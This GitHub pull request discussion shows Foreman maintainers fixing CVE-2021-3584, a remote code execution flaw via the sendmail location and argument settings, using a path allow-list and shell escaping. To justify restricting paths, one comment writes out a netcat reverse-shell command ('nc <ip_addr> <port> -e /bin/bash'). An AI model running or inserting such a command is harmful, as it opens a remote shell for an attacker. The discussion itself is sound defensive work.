Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fixes #32753 - Remote code execution through Sendmail #8599

Merged
merged 1 commit into from Jun 22, 2021

Conversation

lzap
Copy link
Member

@lzap lzap commented Jun 17, 2021

CVE-2021-3584: Sendmail location and arguments, available via Administer - Settings, both accept arbitrary strings and pass them into shell. By default, only Foreman super administrator can access settings.

Mitigation: Verify the both settings and remove edit_settings permissions to all roles and users until fixed. Alternatively, create settings named sendmail_location and sendmail_arguments in settings.yaml file to override the UI and make the values read-only.

Solution: Limit the possible values for location to just expected paths. Use shellescaping for arguments as there is currently no way to pass arguments to the 'mail' gem in a safely manner.

app/models/setting/email.rb Outdated Show resolved Hide resolved
Copy link
Member

@ekohl ekohl left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Just a thought: does it make sense to instead limit it to some absolute path where we've verified that the file exists on disk in $PATH or a limited number of them? (/usr/bin, /usr/sbin, /usr/local/bin, etc). Or does that not mitigate the vulnerability.

@lzap
Copy link
Member Author

lzap commented Jun 17, 2021

Just a thought: does it make sense to instead limit it to some absolute path where we've verified that the file exists on disk in $PATH or a limited number of them? (/usr/bin, /usr/sbin, /usr/local/bin, etc). Or does that not mitigate the vulnerability.

That is dangerous, there are programs like nc (netcat) and bash as well as thousands of others: /usr/bin/nc <ip_addr> <port> -e /bin/bash | echo

@lzap
Copy link
Member Author

lzap commented Jun 17, 2021

Related security site entry: theforeman/theforeman.org#1845

@ekohl
Copy link
Member

ekohl commented Jun 17, 2021

That's a good point. It also made me think about other possible problems with this. For example, can -C config_file or -C config_dir be abused to read files that should be private? For example, private keys that the Foreman user has access to.

In other words: is there an option to say "attach /etc/foreman/client.key" (or wherever). If that is the case, it would make a strong argument to only allow customization of this via settings.yaml and never via the UI.

Right now I can't find such an option on the sendmail command itself.

@lzap
Copy link
Member Author

lzap commented Jun 17, 2021

In other words: is there an option to say "attach /etc/foreman/client.key" (or wherever). If that is the case, it would make a strong argument to only allow customization of this via settings.yaml and never via the UI.

Yeah that is really good concern. From what I was able to research, sendmail, the original, does not support attaching files directly. You have to prepare the MIME content, so you need bash at least, which we ruled out with escaping. However for example "mailx" sendmail replacement does have -a argument, fortunately this software does not drop /usr/sbin/sendmail symlink. We do not allow /usr/sbin/mailx so we should be good. But at least for Fedora we need to review the following packages providing it: esmtp, exim, opensmtpd, postfix, sendmail, ssmtp.

I have briefly reviewed all man pages of this software and I see no signs of "attach" word in their arguments. However Debian users will have a greater pool of software and chances are there might be something. Also on Debian there is no SELinux so attaching any file that is readable for foreman user would work.

I suggest the following - I think this patch is a good response to the problem that can be backported. I still like your idea to moving back to settings.yaml, would you mind doing a patch in puppet changing defaults in a way that this is deployed by default and it overrides the UI? In the UI users will see a nice message "this setting is read only, go to settings.yaml to edit it" so it is actually not bad user experience.

Once we have a patch for puppet, we can decide if to backport it or not, I think we should be fine just merging it into develop branch because the immediate threat should be resolved, assuming there are no other sendmail emulators offering direct file attaching.

@ekohl
Copy link
Member

ekohl commented Jun 17, 2021

I have briefly reviewed all man pages of this software and I see no signs of "attach" word in their arguments. However Debian users will have a greater pool of software and chances are there might be something. Also on Debian there is no SELinux so attaching any file that is readable for foreman user would work.

I did the same thing and came to the same conclusion.

Just thinking out loud: how does it work if you put a setting in settings.yaml that's invalid, like a path for sendmail_location that's not allowed. Does Foreman blow up or will it accept it?

As a test case:

  • Add sendmail_location to settings.yaml. Doesn't matter what, as long as it's not a valid location. For example, /usr/bin/cat
  • Go to the settings page
  • Modify unrelated value
  • Press save

@lzap
Copy link
Member Author

lzap commented Jun 17, 2021

Invalid entries in settings file are not subject of Rails model validations. Editing of them is not allowed in UI or API, not a problem.

@lzap
Copy link
Member Author

lzap commented Jun 17, 2021

Fixed migration, force pushed.

ekohl
ekohl previously approved these changes Jun 17, 2021
Copy link
Member

@ekohl ekohl left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I've thought about the various alternatives and I think this now makes sense. My main worry was a lack of flexibility but if users really need that then settings.yaml is a better place.

We should add an upgrade warning to the manual that if users used a value different than an allowed location will no longer be able to send email as they used to.

@tbrisker could you also take a look?

@@ -19,19 +26,29 @@ def self.default_settings
set('smtp_password', N_("Password to use to authenticate, if required"), '', N_('SMTP password'), nil, {:encrypted => true}),
set('smtp_authentication', N_("Specify authentication type, if required"), '', N_('SMTP authentication'), nil, { :collection => proc { {:plain => "plain", :login => "login", :cram_md5 => "cram_md5", '' => _("none")} }}),
set('sendmail_arguments', N_("Specify additional options to sendmail"), '-i', N_('Sendmail arguments')),
set('sendmail_location', N_("The location of the sendmail executable"), "/usr/sbin/sendmail", N_('Sendmail location')),
set('sendmail_location', N_("The location of the sendmail executable"), "/usr/sbin/sendmail", N_('Sendmail location'), nil, { :collection => proc { sendmail_locations_hash } }),
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It surprises me that this needs to be a proc given that it's static. There are also no translations involved.

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hopefully something we could get rid off with the settings refactoring (cc: @ezr-ondrej). Should we modify the description to suggest using settings.yaml to use options not allowed by default?

@ekohl ekohl requested a review from tbrisker June 17, 2021 10:45
@@ -0,0 +1,30 @@
class FakeSetting < ApplicationRecord
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why do we need this fake class?

Copy link
Member Author

@lzap lzap Jun 17, 2021

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I copy-pasted it honestly, others migrations do have it.

Edit: I don't know :-)

Edit 2: I do not want to know :-)

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't think this is needed in this case, lets let the setting model do it's thing (which is only to reset to default if the value is invalid).

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is still open

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Well if you say so, dropped, amended.

@@ -19,19 +26,29 @@ def self.default_settings
set('smtp_password', N_("Password to use to authenticate, if required"), '', N_('SMTP password'), nil, {:encrypted => true}),
set('smtp_authentication', N_("Specify authentication type, if required"), '', N_('SMTP authentication'), nil, { :collection => proc { {:plain => "plain", :login => "login", :cram_md5 => "cram_md5", '' => _("none")} }}),
set('sendmail_arguments', N_("Specify additional options to sendmail"), '-i', N_('Sendmail arguments')),
set('sendmail_location', N_("The location of the sendmail executable"), "/usr/sbin/sendmail", N_('Sendmail location')),
set('sendmail_location', N_("The location of the sendmail executable"), "/usr/sbin/sendmail", N_('Sendmail location'), nil, { :collection => proc { sendmail_locations_hash } }),
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hopefully something we could get rid off with the settings refactoring (cc: @ezr-ondrej). Should we modify the description to suggest using settings.yaml to use options not allowed by default?

def self.delivery_settings
options = {}
all.find_each do |setting|
extracted = {:smtp => extract_prefix(setting.name, 'smtp'), :sendmail => extract_prefix(setting.name, 'sendmail')}
["smtp", "sendmail"].each do |method|
if Setting[:delivery_method].to_s == method && setting.name.start_with?(method) && setting.value.to_s.present?
options[extracted[method.to_sym]] = setting.value
if setting.name == "sendmail_arguments"
options[extracted[method.to_sym]] = Shellwords.shellescape(setting.value)
else
options[extracted[method.to_sym]] = setting.value
end
end
end
end
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This should all move to application mailer and be greatly simplified, but outside the scope of this PR

app/models/setting/email.rb Show resolved Hide resolved
Setting.without_auditing do
existing = FakeSetting.find_by_name("sendmail_location")
if existing && !Setting::Email::SENDMAIL_LOCATIONS.include?(existing.value)
say "Sendmail location '#{existing.value}' not allowed, resetting to default"
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Also, suggest using settings.yaml if needed to use non-default options

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

this as well

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I've added this.

@lzap
Copy link
Member Author

lzap commented Jun 17, 2021

Docs update: theforeman/foreman-documentation#563

I will do upgrade note.

@lzap
Copy link
Member Author

lzap commented Jun 17, 2021

There is probably no better candidate for complete overhaul than our settings framework, no discussion there. Not the right place and time tho :-)

So unless you have other suggestions I would push the following change:

diff --git a/app/models/setting/email.rb b/app/models/setting/email.rb
index a261e6a91..98cb632a7 100644
--- a/app/models/setting/email.rb
+++ b/app/models/setting/email.rb
@@ -34,7 +34,7 @@ class Setting::Email < Setting

   def validate_sendmail_location(record)
     if record.value.present? && !SENDMAIL_LOCATIONS.include?(record.value)
-      record.errors[:base] << _("Not a valid sendmail location")
+      record.errors[:base] << _("Not a valid sendmail location, use settings.yaml for arbitrary location")
     end
   end

@evgeni
Copy link
Member

evgeni commented Jun 17, 2021

Can settings.yaml override this at all? I thought SETTINGS aren't Settings?

@tbrisker
Copy link
Member

Can settings.yaml override this at all? I thought SETTINGS aren't Settings?

Yes:
https://github.com/theforeman/foreman/blob/develop/app/models/setting.rb#L218-L224

@lzap
Copy link
Member Author

lzap commented Jun 17, 2021

I have tested this, the UI renders a warning message with info bubble and setting is read only. 🤷🏻

@lzap
Copy link
Member Author

lzap commented Jun 17, 2021

Amended the message change.

@lzap
Copy link
Member Author

lzap commented Jun 17, 2021

Upgrade note: Foreman no longer accepts sendmail location other than /usr/sbin/sendmail, /usr/bin/sendmail, /usr/local/sbin/sendmail or /usr/local/bin/sendmail in Administer - Settings - Email. If any other value was previously set, the default /usr/sbin/sendmail was applied during the update. To use a different sendmail-compatible software, either use a symlink or create a new :sendmail_location key in settings.yaml to override it.

@ekohl
Copy link
Member

ekohl commented Jun 17, 2021

Upgrade note: Foreman no longer accepts sendmail location other than /usr/sbin/sendmail or /usr/local/sbin/sendmail in Administer - Settings - Email. If any other value was previously set, the default /usr/sbin/sendmail was applied during the update. To use a different sendmail-compatible software, either use a symlink or create a new "sendmail_location" key in settings.yaml to override it.

Besides sbin we also allow bin. Also, wondering if we instead should recommend :sendmail_location as the key, since that's technically what you write. Not 100% it matters, but it's what we've always done.

@lzap
Copy link
Member Author

lzap commented Jun 17, 2021

Updated the comment, @upadhyeammit let me know where you want to put it or feel free to pull it into the release notes from here.

Tests are green, thanks all. I will create a RM issue for puppet, no need to rush with that one.

@lzap
Copy link
Member Author

lzap commented Jun 17, 2021

For the record: https://projects.theforeman.org/issues/32827

]
end

validates :value, :length => {:maximum => 255}, :if => proc { |s| s.name == "email_subject_prefix" }

def validate_sendmail_location(record)
if record.value.present? && !SENDMAIL_LOCATIONS.include?(record.value)
record.errors[:base] << _("Not a valid sendmail location, use settings.yaml for arbitrary location")
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
record.errors[:base] << _("Not a valid sendmail location, use settings.yaml for arbitrary location")
record.errors[:base] << _("Invalid sendmail location, use settings.yaml for arbitrary location")

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Oh no poor CI, amended :-)

@@ -596,6 +596,7 @@ Security/YAMLLoad:
- 'db/migrate/20140219183343_migrate_permissions.rb'
- 'db/migrate/20150312144232_migrate_websockets_setting.rb'
- 'db/migrate/20190801143210_convert_dns_conflict_timeout_setting.rb'
- 'db/migrate/20210610131920_restrict_sendmail_location.rb'
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is no longer required.

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Rebased.

CVE-2021-3584: Sendmail location and arguments, available via Administer
- Settings, both accept arbitrary strings and pass them into shell.
By default, only Foreman super administrator can access settings.

Mitigation: Verify the both settings and remove edit_settings
permissions to all roles and users until fixed. Alternatively, create
settings named sendmail_location and sendmail_arguments in settings.yaml
file to override the UI and make the values read-only.

Solution: Limit the possible values for location to just expected paths.
Use shellescaping for arguments as there is currently no way to pass
arguments to the 'mail' gem in a safely manner.
@lzap
Copy link
Member Author

lzap commented Jun 22, 2021

It is green.

Copy link
Member

@tbrisker tbrisker left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks @lzap !

@tbrisker tbrisker merged commit c83d799 into theforeman:develop Jun 22, 2021
6 checks passed
@tbrisker
Copy link
Member

2.4 - e2a2894
2.5 - e880002

@lzap lzap deleted the sendmail-cve-32753 branch June 23, 2021 11:42
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
5 participants